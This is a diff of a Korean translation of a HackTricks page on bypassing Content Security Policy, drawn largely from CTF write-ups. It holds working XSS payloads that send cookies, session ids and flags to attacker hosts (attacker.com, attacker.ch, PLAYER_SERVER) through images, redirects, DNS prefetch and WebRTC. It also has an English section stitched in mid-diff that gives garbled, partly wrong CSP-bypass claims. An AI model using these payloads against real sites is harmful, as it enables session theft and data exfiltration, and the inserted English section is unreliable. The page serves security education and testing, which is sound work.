@ -454,9 +507,9 @@ CSP가 서버 측 리다이렉션을 만나면 어떻게 될까요? 리다이렉
```
만약 CSP가 `https://www.google.com/a/b/c/d`로 설정되어 있다면, 경로가 고려되므로 `/test``/a/test` 스크립트 모두 CSP에 의해 차단될 것입니다.
그러나 최종적으로 `http://localhost:5555/301`**서버 측에서 `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`로 리디렉션될 것**입니다. 이는 리디렉션이기 때문에 **경로가 고려되지 않으며**, **스크립트가 로드될 수 있어서** 경로 제한을 우회할 수 있습니다.
그러나 최종적으로 `http://localhost:5555/301`**서버 측에서 `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`로 리디렉션될 것**입니다. 이는 리디렉션이기 때문에 **경로가 고려되지 않으며**, **스크립트가 로드될 수 있어서 경로 제한을 우회**할 수 있습니다.
이 리디렉션으로 인해 경로가 완전히 지정되더라도 여전히 우회될 것입니다.
이 리디렉션으로 인해 경로가 완전히 지정되어 있더라도 여전히 우회될 것입니다.
따라서, 최선의 해결책은 웹사이트에 오픈 리디렉트 취약점이 없고 CSP 규칙에서 악용될 수 있는 도메인이 없도록 하는 것입니다.
@ -468,15 +521,15 @@ CSP가 서버 측 리다이렉션을 만나면 어떻게 될까요? 리다이렉
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'`는 코드 내에서 어떤 스크립트든 실행할 수 있을 의미하며(XSS가 코드를 실행할 수 있음), `img-src *`는 웹페이지에서 어떤 리소스에서든 이미지를 사용할 수 있을 의미합니다.
`'unsafe-inline'`는 코드 내에서 어떤 스크립트든 실행할 수 있다는 것을 의미하며(XSS가 코드를 실행할 수 있음), `img-src *`는 웹페이지에서 어떤 리소스에서든 이미지를 사용할 수 있다는 것을 의미합니다.
당신은 이미지를 통해 데이터를 유출함으로써 이 CSP를 우회할 수 있습니다(이 경우 XSS는 봇이 접근 가능한 페이지에서 SQLi를 남용하여 플래그를 이미지를 통해 추출합니다):
이 CSP를 우회할 수 있습니다. 이미지를 통해 데이터를 유출하는 방법으로(이 경우 XSS가 CSRF를 악용하여 봇이 접근할 수 있는 페이지에 SQLi가 포함되어 있고 이미지를 통해 플래그를 추출합니다):
```javascript
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
```
[https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
이 구성을 용하여 **이미지 내에 삽입된 자바스크립트 코드를 로드**할 수도 있습니다. 예를 들어 페이지가 Twitter에서 이미지를 로드하는 것을 허용한다면, **특별한 이미지**를 만들어 **Twitter에 업로드**하고 "**unsafe-inline**"을 악용하여 일반 XSS처럼 JS 코드를 실행하여 **이미지를 로드**하고 거기서 **JS를 추출**하고 **실행**할 수 있습니다: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
이 구성을 용하여 **이미지 내에 삽입된 자바스크립트 코드를 로드**할 수도 있습니다. 예를 들어, 페이지가 Twitter에서 이미지를 로드하는 것을 허용한다면, **특별한 이미지**를 만들어 **Twitter에 업로드**하고 "**unsafe-inline**"을 남용하여 일반적인 XSS로 **JS 코드를 실행**하여 **이미지를 로드**하고 거기서 **JS를 추출**하여 **실행**할 수 있습니다: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### 서비스 워커 사용
@ -492,7 +545,7 @@ default-src 'self' 'unsafe-inline'; img-src *;
#### Chrome
당신이 보낸 **매개변수**가 **정책의 선언 내부에 붙여넣기**되는 경우, **정책을 변경**하여 **쓸모 없게** 만들 수 있습니다. 이러한 우회 중 하나로 **스크립트 'unsafe-inline'을 허용**할 수 있습니다:
당신이 보낸 **매개변수**가 **정책의 선언 내부에 붙여넣기**되는 경우, **정책을 변경**하여 **쓸모 없게** 만들 수 있습니다. 이러한 우회 중 하나로 스크립트 'unsafe-inline'을 허용할 수 있습니다:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@ -505,12 +558,12 @@ script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
Edge에서는 훨씬 간단합니다. CSP에 이것만 추가할 수 있다면: **`;_`** **Edge**는 **정책 전체를 삭제**할 것입니다.\
예제: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
### img-src \*; via XSS (iframe) - Time attack
### img-src \*; via XSS (iframe) - 시간 공격
지시문 `'unsafe-inline'`이 없음에 주목하십시오.\
이번에는 `<iframe`을 통해 피해자가 **당신이 제어하는 페이지를 로드**하도록 만들 수 있습니다. 이번에는 피해자가 정보를 추출하고자 하는 페이지에 접근하도록 만들 것입니다 (**CSRF**). 페이지의 내용에 접근할 수는 없지만, 페이지가 로드되는 데 필요한 시간을 **제어할 수 있다면** 필요한 정보를 추출할 수 있습니다.
`'unsafe-inline'` 지시문이 없다는 것에 주목하십시오.\
이번에는 피해자가 `<iframe`을 통해 **당신이 제어하는 페이지를 로드**하도록 만들 수 있습니다. 이번에는 피해자가 정보를 추출하고자 하는 페이지에 접근하도록 만들 것입니다 (**CSRF**). 페이지의 내용에 접근할 수는 없지만, 페이지가 로드되는 데 필요한 시간을 **어떻게든 제어**할 수 있다면 필요한 정보를 추출할 수 있습니다.
이번에는 **flag**가 추출될 것입니다. SQLi를 통해 **char가 올바르게 추측될 때마다** 응답이 **sleep 함수로 인해 더 오래 걸리게** 됩니다. 그럼에 따라 flag를 추출할 수 있게 됩니다:
이번에는 **flag**가 추출될 것입니다. SQLi를 통해 **char가 올바르게 추측될 때마다** 응답이 sleep 함수로 인해 **더 많은 시간**이 걸립니다. 그럼으로써 flag를 추출할 수 있게 됩니다:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
@ -572,13 +625,13 @@ run();
```
### 북마크릿을 통한 공격
이 공격은 공격자가 사용자를 설득하여 브라우저의 북마크릿 위로 링크를 끌어다 놓도록 하는 사회 공학을 포함합니다. 이 북마크릿에는 악의적인 자바스크립트 코드가 포함되어 있으며, 드래그 앤 드롭 또는 클릭 시 현재 웹 창의 컨텍스트에서 실행되어 CSP를 우회하고 쿠키나 토큰과 같은 민감한 정보를 탈취할 수 있습니다.
이 공격은 공격자가 사용자를 설득하여 브라우저의 북마크릿 위로 링크를 끌어다 놓도록 하는 사회 공학을 포함합니다. 이 북마크릿에는 악의적인 자바스크립트 코드가 포함되어 있으며, 드래그 앤 드롭이나 클릭될 때 현재 웹 창의 컨텍스트에서 실행되어 CSP를 우회하고 쿠키나 토큰과 같은 민감한 정보를 탈취할 수 있습니다.
자세한 정보는 [**원본 보고서를 확인하세요**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP 제한을 통한 CSP 우회
[**이 CTF 해설**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)에서는 특정 JS 파일을 로드하는 것을 금지하는 더 제한적인 CSP를 허용된 iframe 내에 주입함으로써 CSP를 우회했으며, 이후 **프로토타입 오염** 또는 **DOM 오염**을 통해 다른 스크립트를 남용하여 임의의 스크립트를 로드할 수 있었습니다.
[**이 CTF 해설**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)에서는 허용된 iframe 내에 더 제한적인 CSP를 삽입하여 CSP를 우회하고, 이후 **프로토타입 오염** 또는 **DOM 오염**을 통해 임의의 스크립트를 로드할 수 있는 다른 스크립트를 남용할 수 있도록 특정 JS 파일을 로드하지 못하도록 했습니다.
**Iframe의 CSP를 제한**할 수 있습니다. **`csp`** 속성을 사용하여:
```html
@ -586,8 +639,8 @@ run();
```
{% endcode %}
[**이 CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48)에서는 **HTML injection**을 통해 **CSP**를 더 **제한적**으로 만들어 **CSTI를 방지하는 스크립트가 비활성화**되어 **취약점이 악용 가능해졌습니다.**\
CSP는 **HTML 메타 태그**를 사용하여 더 제한적으로 만들 수 있으며 인라인 스크립트는 **입력을 제거하여 비활성화**할 수 있어 **nonce**를 허용하고 **sha를 통해 특정 인라인 스크립트를 활성화**할 수 있습니다:
[**이 CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48)에서는 **HTML injection**을 통해 **CSP**를 더 **제한**하여 CSTI를 방지하는 스크립트가 비활성화되어 **취약점이 악용 가능해졌습니다.**\
CSP는 **HTML 메타 태그**를 사용하여 더 제한적으로 만들 수 있으며 인라인 스크립트는 **입력을 제거하여** **nonce**를 허용하고 **sha를 통해 특정 인라인 스크립트를 활성화**할 수 있습니다:
```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
@ -596,7 +649,7 @@ CSP는 **HTML 메타 태그**를 사용하여 더 제한적으로 만들 수 있
```
### Content-Security-Policy-Report-Only를 사용한 JS 데이터 유출
만약 서버가 **`Content-Security-Policy-Report-Only`** 헤더를 **당신이 제어하는 값**으로 응답하도록 만들 수 있다면 (어떤 CRLF 때문에든), 당신은 서버를 가리키게 할 수 있고, 당신이 유출하고자 하는 **JS 콘텐츠**를 **`<script>`**로 감싸면서, 아마도 `unsafe-inline`이 CSP에서 허용되지 않을 것이므로, 이는 **CSP 오류를 발생**시키고 민감한 정보를 포함한 스크립트 일부가 `Content-Security-Policy-Report-Only`를 통해 서버로 전송될 것입니다.
만약 서버가 **`Content-Security-Policy-Report-Only`** 헤더를 **당신이 제어하는 값**으로 응답하도록 만들 수 있다면 (어떤 CRLF 때문에든), 당신은 서버를 당신의 서버를 가리키도록 만들 수 있습니다. 그리고 당신이 유출하고자 하는 **JS 내용**을 **`<script>`**로 감싸면, 아마도 `unsafe-inline`이 CSP에서 허용되지 않을 것이므로 이는 **CSP 오류를 발생**시키고 민감한 정보를 포함한 스크립트 일부가 `Content-Security-Policy-Report-Only`를 통해 서버로 전송될 것입니다.
예시로 [**이 CTF writeup을 확인하세요**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
@ -607,18 +660,18 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
### CSP 및 Iframe를 사용하여 정보 누출
* CSP에서 허용된 URL(여기서는 `https://example.redirect.com`라고 가정)을 가리키는 `iframe`가 생성됩니다.
* 이 URL은 그런 다음 CSP에서 허용되지 않는 비밀 URL(예: `https://usersecret.example2.com`)로 리디렉션됩니다.
* 이 URL은 그런 다음 CSP에서 **허용되지 않는** 비밀 URL(예: `https://usersecret.example2.com`)로 리디렉션됩니다.
* `securitypolicyviolation` 이벤트를 수신함으로써 `blockedURI` 속성을 캡처할 수 있습니다. 이 속성은 차단된 URI의 도메인을 나타내어 초기 URL이 리디렉션된 비밀 도메인을 누출합니다.
크롬 및 파이어폭스와 같은 브라우저는 CSP에 대한 iframe 처리에 대해 다른 동작을 보이므로 정의되지 않은 동작으로 인해 민감한 정보가 누출될 수 있습니다.
흥미로운 점은 Chrome 및 Firefox와 같은 브라우저가 CSP에 대한 iframe을 처리하는 방식이 다르며, 정의되지 않은 동작으로 인해 민감한 정보가 누출될 수 있다는 것입니다.
다른 기술은 CSP 자체를 악용하여 비밀 서브도메인을 추론하는 것입니다. 이 방법은 이진 검색 알고리즘과 CSP를 약간 수정하여 의도적으로 차단된 특정 도메인을 포함하도록 조정하는 데 의존합니다. 예를 들어, 비밀 서브도메인이 알 수없는 문자로 구성된 경우 CSP 지시문을 수정하여 이러한 서브도메인을 차단하거나 허용하도록 조정함으로써 서로 다른 서브도메인을 반복적으로 테스트할 수 있습니다. 다음은 이 방법을 용이하게 하는 방식으로 CSP를 설정하는 스니펫입니다:
다른 기술은 CSP 자체를 악용하여 비밀 서브도메인을 추론하는 것입니다. 이 방법은 이진 검색 알고리즘과 CSP를 약간 수정하여 의도적으로 차단된 특정 도메인을 포함하도록 조정하는 데 의존합니다. 예를 들어, 비밀 서브도메인이 알 수없는 문자로 구성된 경우 CSP 지시문을 수정하여 이러한 서브도메인을 차단하거나 허용하도록하여 서브도메인을 반복적으로 테스트할 수 있습니다. 다음은 이 방법을 용이하게 하는 방식으로 CSP를 설정하는 스니펫입니다:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
CSP가 차단하거나 허용하는 요청을 모니터링하여, 비밀 서브도메인의 가능한 문자를 좁히고, 결국 전체 URL을 발견할 수 있습니다.
두 가지 방법은 CSP 구현과 브라우저 동작의 세세한 점을 악용하며, 보안 정책이 민감한 정보를 무심코 노출할 수 있을 보여줍니다.
두 가지 방법은 CSP 구현과 브라우저 동작의 세세한 점을 악용하며, 보안 정책이 민감한 정보를 무심코 노출할 수 있는 방법을 보여줍니다.
[**여기**](https://ctftime.org/writeup/29310)에서의 트릭.
@ -635,20 +688,20 @@ CSP가 차단하거나 허용하는 요청을 모니터링하여, 비밀 서브
**최신 공지**\
최신 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 알아두세요
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)**에서 우리와 함께하고 최고의 해커들과 협업을 시작하세요!
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)에서 함께하고 최고의 해커들과 협업을 시작하세요!
## CSP 우회를 위한 안전하지 않은 기술
### PHP 응답 버퍼 과부하
PHP는 기본적으로 응답을 4096바이트까지 버퍼링하는 것으로 알려져 있습니다. 따라서, PHP가 경고를 표시하는 경우, **경고 내부에 충분한 데이터를 제공**하여 **응답이** **CSP 헤더**보다 **전에 전송**되어 헤더가 무시되도록 할 수 있습니다.\
그런 다음, 기본적으로 **응답 버퍼를 경고로 채우는** 기술입니다.
PHP는 기본적으로 응답을 4096바이트까지 버퍼링하는 것으로 알려져 있습니다. 따라서, PHP가 경고를 표시하는 경우, **경고 내부에 충분한 데이터를 제공**하여 **응답이** **CSP 헤더** **보다 먼저** **전송**되어 헤더가 무시되도록 할 수 있습니다.\
그런 다음, 기본적으로 **응답 버퍼를 경고로 채워** CSP 헤더가 전송되지 않도록 하는 기술입니다.
[**이 writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)에서 아이디어를 얻음.
### 오류 페이지 재작성
[**이 writeup**](https://blog.ssrf.kr/69)에서 보이는 것처럼, 오류 페이지(잠재적으로 CSP 없이)를로드하고 내용을 다시 작성하여 CSP 보호를 우회할 수 있었던 것으로 보입니다.
[**이 writeup**](https://blog.ssrf.kr/69)에서 보았듯이, 오류 페이지(가능한 경우 CSP 없이)를 로드하고 해당 내용을 다시 작성하여 CSP 보호를 우회할 수 있었던 것으로 보입니다.
```javascript
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
@ -657,15 +710,15 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + 워드프레스
SOME은 페이지의 엔드포인트에서 XSS(또는 매우 제한된 XSS)를 악용하여 **같은 출처의 다른 엔드포인트를 악용하는** 기술입니다. 이는 취약한 엔드포인트를 공격자 페이지에서 불러온 다음 공격자 페이지를 실제 악용하려는 같은 출처의 실제 엔드포인트로 새로 고침하여 수행됩니다. 이렇게 하면 **취약한 엔드포인트**가 **페이로드**의 **`opener`** 객체를 사용하여 **실제 악용하려는 엔드포인트의 DOM에 액세스**할 수 있습니다. 자세한 정보는 확인하세요:
SOME은 페이지의 엔드포인트에서 XSS(또는 매우 제한된 XSS)를 악용하여 **같은 출처의 다른 엔드포인트를 악용하는** 기술입니다. 이는 취약한 엔드포인트를 공격자 페이지에서 불러온 다음 공격자 페이지를 실제 악용하려는 동일 출처의 실제 엔드포인트로 새로 고침하여 수행됩니다. 이렇게 하면 **취약한 엔드포인트**가 **페이로드**의 **`opener`** 객체를 사용하여 **실제 악용하려는 엔드포인트의 DOM에 액세스**할 수 있습니다. 자세한 정보는 확인하세요:
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
{% endcontent-ref %}
게다가 **워드프레스**에는 `/wp-json/wp/v2/users/1?_jsonp=data`에 **JSONP** 엔드포인트가 있습니다. 이 엔드포인트는 출력에 보낸 **데이터**를 **반영**할 것이며(글자, 숫자, 점만 허용됨).
게다가 **워드프레스**에는 `/wp-json/wp/v2/users/1?_jsonp=data`에 **JSONP** 엔드포인트가 있어 출력에 보낸 **데이터**를 **반영**할 것입니다(글자, 숫자, 점만 허용됨).
공격자는 엔드포인트를 악용하여 워드프레스에 대한 **SOME 공격을 생성**하고 `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` 내에 **임베드**할 수 있습니다. 이 **스크립트**는 **'self'에 의해 허용**되기 때문에 **로드**될 것입니다. 게다가 워드프레스가 설치되어 있기 때문에 공격자는 **취약한** **콜백** 엔드포인트를 통해 **CSP를 우회**하여 사용자에게 더 많은 권한을 부여하거나 새 플러그인을 설치할 수 있습니다...\
공격자는 해당 엔드포인트를 악용하여 워드프레스에 대한 **SOME 공격을 생성**하고 `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` 내에 **임베드**할 수 있습니다. 이 **스크립트**는 'self'에 의해 **허용**되기 때문에 **로드**될 것입니다. 게다가 워드프레스가 설치되어 있기 때문에 공격자는 **취약한** **콜백** 엔드포인트를 통해 **CSP를 우회**하여 사용자에게 더 많은 권한을 부여하거나 새 플러그인을 설치할 수 있습니다.\
이 공격을 수행하는 방법에 대한 자세한 정보는 [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)에서 확인하세요.
## CSP 유출 우회
@ -687,8 +740,8 @@ document.location = "https://attacker.com/?" + sessionid;
```
### DNS Prefetch
페이지를 더 빨리로드하기 위해 브라우저는 호스트 이름을 IP 주소로 사전 해결하고 나중에 사용할 수 있도록 캐시합니다.\
브라우저에 호스트 이름을 사전 해결하도록 지시할 수 있습니다: `<link reol="dns-prefetch" href="something.com">`
페이지를 더 빨리로드하기 위해 브라우저는 호스트 이름을 IP 주소로 사전 해결하고 나중에 사용하기 위해 캐시에 저장합니다.\
브라우저에 호스트 이름을 사전 해결하도록 지시할 수 있습니다: `<link rel="dns-prefetch" href="something.com">`
이 동작을 악용하여 **DNS 요청을 통해 민감한 정보를 유출**할 수 있습니다:
```javascript
@ -696,24 +749,62 @@ var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
```
다른 방법:
## Content Security Policy (CSP) Bypass
### Bypassing CSP using `unsafe-inline`
When a website has a strict CSP that does not allow `unsafe-inline` scripts, you can bypass it by injecting your script using a trusted inline script. For example, if the website allows Google Analytics scripts, you can inject your malicious script within the Google Analytics script tag.
```html
<script>
// Your malicious script here
</script>
```
### Bypassing CSP using `unsafe-eval`
If a website restricts `unsafe-eval` but allows `unsafe-inline`, you can bypass it by using `eval()` function within an inline script.
```html
<script>
eval('alert("Bypassed CSP using unsafe-eval")');
</script>
```
### Bypassing CSP using Data URI
You can bypass CSP restrictions by using Data URI to embed your script directly into the HTML document.
```html
<script src="data:text/javascript;base64,Y29uc29sZS5sb2coIkJheXBvc2VkIENTUCB1c2luZyBkYXRhIFVSSSIpOw=="></script>
```
### Bypassing CSP using Trusted Domains
If a website allows scripts from trusted domains, you can host your malicious script on a trusted domain and load it on the target website.
```html
<script src="https://your-trusted-domain.com/malicious-script.js"></script>
```
By using these techniques, you can bypass Content Security Policy restrictions and execute your malicious scripts on the target website.
```javascript
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
```
이를 방지하기 위해 서버는 다음 HTTP 헤더를 전송할 수 있습니다:
이를 방지하기 위해 서버는 다음 HTTP 헤더를 보낼 수 있습니다:
```
X-DNS-Prefetch-Control: off
```
{% hint style="info" %}
이 기술은 헤드리스 브라우저(봇)에서 작동하지 않는 것으로 보입니다.
이 기술은 헤드리스 브라우저(봇)에서 작동하지 않는 것으로 보입니다.
{% endhint %}
### WebRTC
여러 페이지에서 **WebRTC는 CSP의 `connect-src` 정책을 확인하지 않는다**고 읽을 수 있습니다.
여러 페이지에서 **WebRTC CSP의 `connect-src` 정책을 확인하지 않는다**고 읽을 수 있습니다.
실제로 _DNS 요청_을 사용하여 정보를 _유출_할 수 있습니다. 다음 코드를 확인하세요:
```javascript
@ -756,11 +847,11 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 가입하여 경험 많은 해커 및 버그 바운티 헌터들과 소통하세요!
**해킹 통찰**\
**해킹 통찰**\
해킹의 즐거움과 도전에 대해 탐구하는 콘텐츠에 참여하세요
**실시간 해킹 뉴스**\
실시간 뉴스와 통찰을 통해 빠르게 변화하는 해킹 세계를 따라가세요
실시간 뉴스와 통찰을 통해 빠르게 변화하는 해킹 세계를 따라가세요
**최신 공지**\
최신 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 알아두세요
@ -769,14 +860,14 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 기여하세요.
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요.
</details>